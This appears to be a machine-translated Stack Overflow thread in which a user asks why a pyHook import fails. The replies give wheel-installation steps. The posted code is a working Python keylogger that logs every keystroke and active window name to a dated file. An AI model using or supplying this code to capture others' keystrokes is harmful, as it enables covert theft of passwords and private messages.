2017-06-01 14 views
0

私のコードでは、私が使用しているすべてのモジュールがインストールされていますが、常にモジュールを見つけることができないというエラーが表示されます。ありがとうございました。"ModuleNotFoundError:モジュールがインストールされていても 'pyHook'という名前のモジュールがありません

コード:

import pyHook, pythoncom, sys, logging , os , winsound , time 

date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput" 
date += time.strftime("%d.%m.%Y") + ".txt" 
x = time.ctime() 
with open(date, "a") as f: 
      f.write("\n") 
      f.write("[" + x + "] : ") 


def OnKeyboardEvent(event): 
    global x 

    if event.Key =="Return" : 
     with open(date, "a") as f: 
      f.write(" {Enter}\n") 
      f.write("[" + x +"|"+event.WindowName + "] : ") 

    elif event.Key == "Space" : 
     with open(date, "a") as f: 
      f.write(" ") 
    elif event.Key == "Back" : 
     with open(date, "a") as f: 
      f.write("{Bkspc}") 

    else : 
     with open(date, "a") as f: 
      f.write(event.Key) 


    return True 
hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

答えて

0

は、以下のことを試してみてください。

まず、あなたが正しいバージョンを選択したことを確認し、hereからpyhookをダウンロードしてください。

第2に、ダウンロードしたフォルダでcmdを開き、pip install pyHook-1.5.1-cp27-none-win32.whlと入力します。他のバージョンを選択した場合は、関連するバージョンを入力します。

+0

pyHookの問題を修正しましたが、まだPythoncomで同じ問題が発生しています.pipeを実行すると、長い赤いコードがあり、Pythonで動作しません。 –

+0

pythoncomのヘルプは[here](https://stackoverflow.com/questions/4145079/importerror-no-module-named-pythoncom)で読むことができます。あなたの問題を解決したかどうかにかかわらず、答えを受け入れるように頼んでください。 –

+0

Tnx、pythoncom libの問題が修正されているかどうかを更新してください。 –

関連する問題